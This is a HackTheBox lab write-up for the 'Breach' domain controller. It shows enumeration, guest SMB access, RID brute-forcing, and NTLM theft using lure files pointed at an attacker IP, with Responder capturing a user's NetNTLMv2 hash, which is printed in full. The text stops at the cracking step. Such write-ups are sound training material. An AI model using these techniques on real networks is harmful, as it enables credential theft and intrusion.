> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hackthebox/breach.md). # Breach ## Enumeration ### Nmap {% code overflow="wrap" expandable="true" %} ```bash PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-30 22:33:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2026-06-30T22:34:33+00:00; -11s from scanner time. | ms-sql-info: | 10.129.24.242:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-06-30T22:28:34 | Not valid after: 2056-06-30T22:28:34 | MD5: 0de4 fd46 9584 826e f0b1 2b7f 1e71 97f9 | SHA-1: d067 c4fe 4261 0adc 6ffd 7d4c 1135 4d30 9317 2ba6 |_SHA-256: d113 f931 8407 5848 fbef 89dd a749 ed66 bf53 855b 158c 983c 4be7 c873 2c25 d17c | ms-sql-ntlm-info: | 10.129.24.242:1433: | Target_Name: BREACH | NetBIOS_Domain_Name: BREACH | NetBIOS_Computer_Name: BREACHDC | DNS_Domain_Name: breach.vl | DNS_Computer_Name: BREACHDC.breach.vl | DNS_Tree_Name: breach.vl |_ Product_Version: 10.0.20348 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=BREACHDC.breach.vl | Issuer: commonName=BREACHDC.breach.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-06-29T22:25:43 | Not valid after: 2026-12-29T22:25:43 | MD5: 70c1 feb6 bb23 8b78 5d86 5b26 4840 2888 | SHA-1: 98f5 4aae 9d7b c0bf 650f e964 aa49 8f87 238e 0228 |_SHA-256: c138 49f5 37df b37f 639d 9e6d c412 020b 39c3 a447 4a09 619e 797f 217e 5436 2dc8 |_ssl-date: 2026-06-30T22:34:33+00:00; -10s from scanner time. | rdp-ntlm-info: | Target_Name: BREACH | NetBIOS_Domain_Name: BREACH | NetBIOS_Computer_Name: BREACHDC | DNS_Domain_Name: breach.vl | DNS_Computer_Name: BREACHDC.breach.vl | DNS_Tree_Name: breach.vl | Product_Version: 10.0.20348 |_ System_Time: 2026-06-30T22:33:53+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49920/tcp open msrpc Microsoft Windows RPC 50382/tcp open msrpc Microsoft Windows RPC Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-06-30T22:33:54 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: -10s, deviation: 0s, median: -11s Initiating SYN Stealth Scan at 17:34 Scanning 10.129.24.242 [65535 ports] Discovered open port 3389/tcp on 10.129.24.242 Discovered open port 53/tcp on 10.129.24.242 Discovered open port 445/tcp on 10.129.24.242 Discovered open port 139/tcp on 10.129.24.242 Discovered open port 80/tcp on 10.129.24.242 Discovered open port 135/tcp on 10.129.24.242 Discovered open port 5985/tcp on 10.129.24.242 Discovered open port 9389/tcp on 10.129.24.242 Discovered open port 636/tcp on 10.129.24.242 SYN Stealth Scan Timing: About 20.35% done; ETC: 17:37 (0:02:01 remaining) Discovered open port 49677/tcp on 10.129.24.242 Discovered open port 49920/tcp on 10.129.24.242 Discovered open port 49668/tcp on 10.129.24.242 SYN Stealth Scan Timing: About 43.18% done; ETC: 17:37 (0:01:20 remaining) Discovered open port 1433/tcp on 10.129.24.242 SYN Stealth Scan Timing: About 40.81% done; ETC: 17:38 (0:02:12 remaining) SYN Stealth Scan Timing: About 55.09% done; ETC: 17:38 (0:01:39 remaining) Discovered open port 49664/tcp on 10.129.24.242 SYN Stealth Scan Timing: About 49.59% done; ETC: 17:39 (0:02:34 remaining) SYN Stealth Scan Timing: About 62.13% done; ETC: 17:39 (0:01:50 remaining) Discovered open port 50382/tcp on 10.129.24.242 Discovered open port 3268/tcp on 10.129.24.242 SYN Stealth Scan Timing: About 77.84% done; ETC: 17:39 (0:01:00 remaining) Discovered open port 464/tcp on 10.129.24.242 Discovered open port 3269/tcp on 10.129.24.242 Discovered open port 88/tcp on 10.129.24.242 Discovered open port 389/tcp on 10.129.24.242 Discovered open port 593/tcp on 10.129.24.242 Completed SYN Stealth Scan at 17:38, 246.84s elapsed (65535 total ports) Initiating Service scan at 17:38 Scanning 21 services on 10.129.24.242 Completed Service scan at 17:39, 55.53s elapsed (21 services on 1 host) NSE: Script scanning 10.129.24.242. Initiating NSE at 17:39 zsh: segmentation fault sudo nmap -sCV -p- -v 10.129.24.242 -oN nmap 10.129.24.242 ``` {% endcode %} ### HTTP Directory busting and vhost fuzzing didn’t yield anything Navigating to the website shows that it’s a standard IIS > Wondering if this is like the more recent seasonal box, where there are vhosts that didn’t show up in scans, but were found through other enumeration ### SMB #### Guest authentication possibly? If so, that’s a finding. {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 06:06:58 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u '' -p '' SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\: ``` {% endcode %} {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 06:07:35 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u '' -p '' --shares SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\: SMB 10.129.24.242 445 BREACHDC [-] Error enumerating shares: STATUS_ACCESS_DENIED ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 06:08:16 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u 'guest' -p '' --shares SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\guest: SMB 10.129.24.242 445 BREACHDC [*] Enumerated shares SMB 10.129.24.242 445 BREACHDC Share Permissions Remark SMB 10.129.24.242 445 BREACHDC ----- ----------- ------ SMB 10.129.24.242 445 BREACHDC ADMIN$ Remote Admin SMB 10.129.24.242 445 BREACHDC C$ Default share SMB 10.129.24.242 445 BREACHDC IPC$ READ Remote IPC SMB 10.129.24.242 445 BREACHDC NETLOGON Logon server share SMB 10.129.24.242 445 BREACHDC share READ,WRITE SMB 10.129.24.242 445 BREACHDC SYSVOL Logon server share SMB 10.129.24.242 445 BREACHDC Users READ ``` {% endcode %} * guest authentication confirmed * Finding 1: Guest authentication with READ/WRITE access to multiple nonstandard shares #### Checking out `Users` first: {% code overflow="wrap" expandable="true" %} ```bash 7863807 blocks of size 4096. 1535674 blocks available smb: \> cd Default smb: \Default\> dir . DHR 0 Thu Feb 10 03:10:33 2022 .. DR 0 Thu Feb 17 07:12:16 2022 AppData DH 0 Thu Aug 19 01:45:22 2021 Desktop DR 0 Thu Aug 19 01:24:36 2021 Documents DR 0 Wed Feb 9 18:59:34 2022 Downloads DR 0 Sat May 8 03:20:24 2021 Favorites DR 0 Sat May 8 03:20:24 2021 Links DR 0 Sat May 8 03:20:24 2021 Music DR 0 Sat May 8 03:20:24 2021 NTUSER.DAT AHn 524288 Thu Feb 17 09:38:01 2022 ntuser.ini AHSn 20 Thu Aug 19 01:45:22 2021 Pictures DR 0 Sat May 8 03:20:24 2021 Saved Games Dn 0 Sat May 8 03:20:24 2021 Videos DR 0 Sat May 8 03:20:24 2021 7863807 blocks of size 4096. 1535674 blocks available smb: \Default\> get NTUSER.DAT getting file \Default\NTUSER.DAT of size 524288 as NTUSER.DAT (1089.4 KiloBytes/sec) (average 1089.4 KiloBytes/sec) smb: \Default\> get ntuser.ini getting file \Default\ntuser.ini of size 20 as ntuser.ini (0.1 KiloBytes/sec) (average 756.3 KiloBytes/sec) smb: \Default\> ``` {% endcode %} * not sure if this is worthy of anything or not, but preliminary research shows that this file should be hidden * if I make it where I can see hidden items on my own Windows machine, I can see the NTUSER.DAT file, so it might be nothing #### Checking out `share` next: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 06:16:49 PM)-[~/htb/machines/breach] └─$ smbclient //breachdc.breach.vl/share -U 'guest' Password for [WORKGROUP\guest]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jun 30 18:08:24 2026 .. DHS 0 Tue Sep 9 05:35:32 2025 finance D 0 Thu Feb 17 05:19:34 2022 software D 0 Thu Feb 17 05:19:12 2022 transfer D 0 Mon Sep 8 05:13:44 2025 7863807 blocks of size 4096. 1534794 blocks available smb: \> ``` {% endcode %} * OK, depending on what’s in this, this is definitely a finding {% code overflow="wrap" expandable="true" %} ```bash smb: \transfer\> dir . D 0 Mon Sep 8 05:13:44 2025 .. D 0 Tue Jun 30 18:08:24 2026 claire.pope D 0 Thu Feb 17 05:21:35 2022 diana.pope D 0 Thu Feb 17 05:21:19 2022 julia.wong D 0 Wed Apr 16 19:38:12 2025 7863807 blocks of size 4096. 1534726 blocks available smb: \transfer\> ``` {% endcode %} * found usernames * added to credentials list {% code overflow="wrap" expandable="true" %} ```bash 7863807 blocks of size 4096. 1534726 blocks available smb: \transfer\> cd claire.pope smb: \transfer\claire.pope\> dir NT_STATUS_ACCESS_DENIED listing \transfer\claire.pope\* smb: \transfer\claire.pope\> cd .. smb: \transfer\> cd diana.pope smb: \transfer\diana.pope\> dir NT_STATUS_ACCESS_DENIED listing \transfer\diana.pope\* smb: \transfer\diana.pope\> cd .. smb: \transfer\> cd julia.wong smb: \transfer\julia.wong\> dir NT_STATUS_ACCESS_DENIED listing \transfer\julia.wong\* smb: \transfer\julia.wong\> ``` {% endcode %} * unable to get much further than this #### Testing `WRITE` access to `share` : {% code overflow="wrap" expandable="true" %} ```bash putting file hello.txt as \hello.txt (0.0 kB/s) (average 0.0 kB/s) smb: \> ls . D 0 Tue Jun 30 18:22:43 2026 .. DHS 0 Tue Sep 9 05:35:32 2025 finance D 0 Thu Feb 17 05:19:34 2022 hello.txt A 6 Tue Jun 30 18:22:43 2026 software D 0 Thu Feb 17 05:19:12 2022 transfer D 0 Mon Sep 8 05:13:44 2025 7863807 blocks of size 4096. 1535804 blocks available smb: \> ``` {% endcode %} #### Testing share access with usernames and blank passwords: ```bash Nothing comes up ``` ### MSSQL {% code overflow="wrap" expandable="true" %} ```bash 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-xp-cmdshell: |_ (Use --script-args=ms-sql-xp-cmdshell.cmd='' to change command.) | ms-sql-config: | 10.129.24.242:1433: |_ ERROR: Bad username or password | ms-sql-empty-password: |_ 10.129.24.242:1433: | ms-sql-info: | 10.129.24.242:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.129.24.242:1433: | Target_Name: BREACH | NetBIOS_Domain_Name: BREACH | NetBIOS_Computer_Name: BREACHDC | DNS_Domain_Name: breach.vl | DNS_Computer_Name: BREACHDC.breach.vl | DNS_Tree_Name: breach.vl |_ Product_Version: 10.0.20348 | ms-sql-dump-hashes: |_ 10.129.24.242:1433: ERROR: Bad username or password | ms-sql-tables: | 10.129.24.242:1433: |_[10.129.24.242:1433] Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds ``` {% endcode %} Testing to see if I can get anywhere with this using the commands from hacktricks: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:19:45 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 --local-auth -u 'guest' -p '' --rid-brute 5000 MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [-] BREACHDC\guest: (Login failed for user 'guest'. Please try again with or without '--local-auth') ┌──(kali㉿kali 06/30/2026 07:20:27 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u 'guest' -p '' --rid-brute 5000 MSSQL 10.129.24.242 1433 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (EncryptionReq:False) MSSQL 10.129.24.242 1433 BREACHDC [-] breach.vl\guest: (Login failed for user 'BREACH\guest'. Please try again with or without '--local-auth') ┌──(kali㉿kali 06/30/2026 07:20:40 PM)-[~/htb/machines/breach] └─$ nxc mssql 10.129.24.242 -u 'guest' -p '' --rid-brute 5000 ``` {% endcode %} ### Testing from checklist: * ldapsearch = nothing * zerologon = nothing * smbghost {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 07:22:58 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u '' -p '' -M smbghost SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\: SMBGHOST 10.129.24.242 445 BREACHDC Potentially vulnerable to SMBGhost (CVE-2020-0796) ``` {% endcode %} * trying responder = so far, nothing ```bash [+] Current Session Variables: Responder Machine Name [WIN-J1O2N7V6VEW] Responder Domain Name [CNCC.LOCAL] Responder DCE-RPC Port [45261] [*] Version: Responder 3.2.2.0 [*] Author: Laurent Gaffie, [+] Listening for events... [!] Error starting TCP server on port 53, check permissions or other servers running. ``` * asrep roasting {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:23:06 PM)-[~/htb/machines/breach] └─$ nxc ldap 10.129.24.242 -u 'guest' -p '' --asreproast asrep.roast LDAP 10.129.24.242 389 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (signing:None) (channel binding:No TLS cert) ``` {% endcode %} ## Looking at walkthrough: ### SMB: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:26:32 PM)-[~/htb/machines/breach] └─$ nxc smb 10.129.24.242 -u 'guest' -p '' --rid-brute SMB 10.129.24.242 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.24.242 445 BREACHDC [+] breach.vl\guest: SMB 10.129.24.242 445 BREACHDC 498: BREACH\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 500: BREACH\Administrator (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 501: BREACH\Guest (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 502: BREACH\krbtgt (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 512: BREACH\Domain Admins (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 513: BREACH\Domain Users (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 514: BREACH\Domain Guests (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 515: BREACH\Domain Computers (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 516: BREACH\Domain Controllers (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 517: BREACH\Cert Publishers (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 518: BREACH\Schema Admins (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 519: BREACH\Enterprise Admins (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 520: BREACH\Group Policy Creator Owners (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 521: BREACH\Read-only Domain Controllers (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 522: BREACH\Cloneable Domain Controllers (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 525: BREACH\Protected Users (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 526: BREACH\Key Admins (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 527: BREACH\Enterprise Key Admins (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 553: BREACH\RAS and IAS Servers (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 571: BREACH\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 572: BREACH\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 1000: BREACH\BREACHDC$ (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1101: BREACH\DnsAdmins (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 1102: BREACH\DnsUpdateProxy (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 1103: BREACH\SQLServer2005SQLBrowserUser$BREACHDC (SidTypeAlias) SMB 10.129.24.242 445 BREACHDC 1104: BREACH\staff (SidTypeGroup) SMB 10.129.24.242 445 BREACHDC 1105: BREACH\Claire.Pope (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1106: BREACH\Julia.Wong (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1107: BREACH\Hilary.Reed (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1108: BREACH\Diana.Pope (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1109: BREACH\Jasmine.Price (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1110: BREACH\George.Williams (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1111: BREACH\Lawrence.Kaur (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1112: BREACH\Jasmine.Slater (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1113: BREACH\Hugh.Watts (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1114: BREACH\Christine.Bruce (SidTypeUser) SMB 10.129.24.242 445 BREACHDC 1115: BREACH\svc_mssql (SidTypeUser) ``` {% endcode %} ### List of users: ```bash Claire.Pope Julia.Wong Hilary.Reed Diana.Pope Jasmine.Price George.Williams Lawrence.Kaur Jasmine.Slater Hugh.Watts Christine.Bruce svc_mssql ``` ### NetNTLMv2 Stealing As I suspected, having write access to a share means we can put something in there to have a user “click” on it and steal their NTLM hash to crack. ```bash git clone uv add --script ntlm_theft.py xlsxwriter uv run ntlm_theft.py -g all -s -f lure ``` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:36:00 PM)-[/opt/ntlm_theft] └─$ uv run ntlm_theft.py -g all -s 10.10.15.134 -f lure /opt/ntlm_theft/ntlm_theft.py:175: SyntaxWarning: invalid escape sequence '\l' location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx'; Created: lure/lure.scf (BROWSE TO FOLDER) Created: lure/lure-(url).url (BROWSE TO FOLDER) Created: lure/lure-(icon).url (BROWSE TO FOLDER) Created: lure/lure.lnk (BROWSE TO FOLDER) Created: lure/lure.rtf (OPEN) Created: lure/lure-(stylesheet).xml (OPEN) Created: lure/lure-(fulldocx).xml (OPEN) Created: lure/lure.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) Created: lure/lure-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) Created: lure/lure-(includepicture).docx (OPEN) Created: lure/lure-(remotetemplate).docx (OPEN) Created: lure/lure-(frameset).docx (OPEN) Created: lure/lure-(externalcell).xlsx (OPEN) Created: lure/lure.wax (OPEN) Created: lure/lure.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY) Created: lure/lure.asx (OPEN) Created: lure/lure.jnlp (OPEN) Created: lure/lure.application (DOWNLOAD AND OPEN) Created: lure/lure.pdf (OPEN AND ALLOW) Created: lure/zoom-attack-instructions.txt (PASTE TO CHAT) Created: lure/lure.library-ms (BROWSE TO FOLDER) Created: lure/Autorun.inf (BROWSE TO FOLDER) Created: lure/desktop.ini (BROWSE TO FOLDER) Created: lure/lure.theme (THEME TO INSTALL Generation Complete. ``` {% endcode %} {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 06/30/2026 07:37:53 PM)-[~/htb/machines/breach/lure] └─$ python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 () ... ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:38:00 PM)-[~/htb/machines/breach/lure] └─$ smbclient //breachdc.breach.vl/share -U 'guest' Password for [WORKGROUP\guest]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jun 30 18:22:43 2026 .. DHS 0 Tue Sep 9 05:35:32 2025 finance D 0 Thu Feb 17 05:19:34 2022 hello.txt A 6 Tue Jun 30 18:22:43 2026 software D 0 Thu Feb 17 05:19:12 2022 transfer D 0 Mon Sep 8 05:13:44 2025 7863807 blocks of size 4096. 1547785 blocks available smb: \> cd transfer smb: \transfer\> prompt off smb: \transfer\> mput * putting file lure-(icon).url as \transfer\lure-(icon).url (0.7 kB/s) (average 0.7 kB/s) putting file lure-(externalcell).xlsx as \transfer\lure-(externalcell).xlsx (36.9 kB/s) (average 18.6 kB/s) putting file lure.rtf as \transfer\lure.rtf (0.7 kB/s) (average 12.7 kB/s) putting file lure.scf as \transfer\lure.scf (0.5 kB/s) (average 9.6 kB/s) putting file lure.application as \transfer\lure.application (10.3 kB/s) (average 9.8 kB/s) putting file lure.library-ms as \transfer\lure.library-ms (7.7 kB/s) (average 9.4 kB/s) putting file lure.asx as \transfer\lure.asx (0.9 kB/s) (average 8.2 kB/s) putting file lure.m3u as \transfer\lure.m3u (0.3 kB/s) (average 7.2 kB/s) putting file lure-(url).url as \transfer\lure-(url).url (0.4 kB/s) (average 6.5 kB/s) putting file desktop.ini as \transfer\desktop.ini (0.3 kB/s) (average 5.8 kB/s) putting file lure-(frameset).docx as \transfer\lure-(frameset).docx (56.4 kB/s) (average 10.9 kB/s) putting file lure-(fulldocx).xml as \transfer\lure-(fulldocx).xml (275.8 kB/s) (average 44.9 kB/s) putting file lure.htm as \transfer\lure.htm (0.5 kB/s) (average 41.7 kB/s) putting file lure.wax as \transfer\lure.wax (0.4 kB/s) (average 38.9 kB/s) putting file lure-(includepicture).docx as \transfer\lure-(includepicture).docx (65.6 kB/s) (average 40.6 kB/s) putting file Autorun.inf as \transfer\Autorun.inf (0.5 kB/s) (average 38.1 kB/s) putting file zoom-attack-instructions.txt as \transfer\zoom-attack-instructions.txt (0.7 kB/s) (average 36.0 kB/s) putting file lure-(stylesheet).xml as \transfer\lure-(stylesheet).xml (1.0 kB/s) (average 34.2 kB/s) putting file lure-(handler).htm as \transfer\lure-(handler).htm (0.5 kB/s) (average 31.9 kB/s) putting file lure-(remotetemplate).docx as \transfer\lure-(remotetemplate).docx (160.4 kB/s) (average 38.1 kB/s) putting file lure.jnlp as \transfer\lure.jnlp (1.2 kB/s) (average 36.5 kB/s) putting file lure.lnk as \transfer\lure.lnk (13.5 kB/s) (average 35.5 kB/s) putting file lure.theme as \transfer\lure.theme (10.6 kB/s) (average 34.5 kB/s) putting file lure.pdf as \transfer\lure.pdf (4.7 kB/s) (average 33.3 kB/s) smb: \transfer\> ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 06/30/2026 07:28:31 PM)-[~/htb/machines/breach] └─$ sudo responder -I tun0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| [*] Tips jar: USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49 [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [OFF] DHCPv6 [OFF] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF] [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.15.134] Responder IPv6 [fe80::dd34:e2e7:aa45:2010] Challenge set [random] Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] Don't Respond To MDNS TLD ['_DOSVC'] TTL for poisoned response [default] [+] Current Session Variables: Responder Machine Name [WIN-V08CQ9SBKZ1] Responder Domain Name [THM9.LOCAL] Responder DCE-RPC Port [46261] [*] Version: Responder 3.2.2.0 [*] Author: Laurent Gaffie, [+] Listening for events... [!] Error starting TCP server on port 53, check permissions or other servers running. [SMB] NTLMv2-SSP Client : 10.129.24.242 [SMB] NTLMv2-SSP Username : BREACH\Julia.Wong [SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:c89d844fb65ff8f2:0F217F9FA908F122C1256ECFFA75F14A:010100000000000080903E10C808DD01DA427E402B6B78510000000002000800540048004D00390001001E00570049004E002D00560030003800430051003900530042004B005A00310004003400570049004E002D00560030003800430051003900530042004B005A0031002E00540048004D0039002E004C004F00430041004C0003001400540048004D0039002E004C004F00430041004C0005001400540048004D0039002E004C004F00430041004C000700080080903E10C808DD01060004000200000008003000300000000000000001000000002000007B6F8417D39FDA34CC7E36D10AF82826ACCEE1E14C2211C88E1D9C543CE92DF70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100330034000000000000000000 [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [*] Skipping previously captured hash for BREACH\Julia.Wong [+] Exiting... ``` {% endcode %} #### Cracking the hash: {% code overflow="wrap" expandable="true" %} ```bash Julia.Wong::BREACH:c89d844fb65ff8f2:0F217F9FA908F122C1256ECFFA75F14A:010100000000000080903E10C808DD01DA427E402B6B78510000000002000800540048004D00390001001E00570049004E002D00560030003800430051003900530042004B005A00310004003400570049004E002D00560030003800430051003900530042004B005A0031002E00540048004D0039002E004C004F00430041004C0003001400540048004D0039002E004C004F00430041004C0005001400540048004D0039002E004C004F00430041004C000700080080903E10C808DD01060004000200000008003000300000000000000001000000002000007B6F8417D39FDA34CC7E36D10AF82826ACCEE1E14C2211C88E1D9C543CE92DF70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100330034000000000000000000 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash 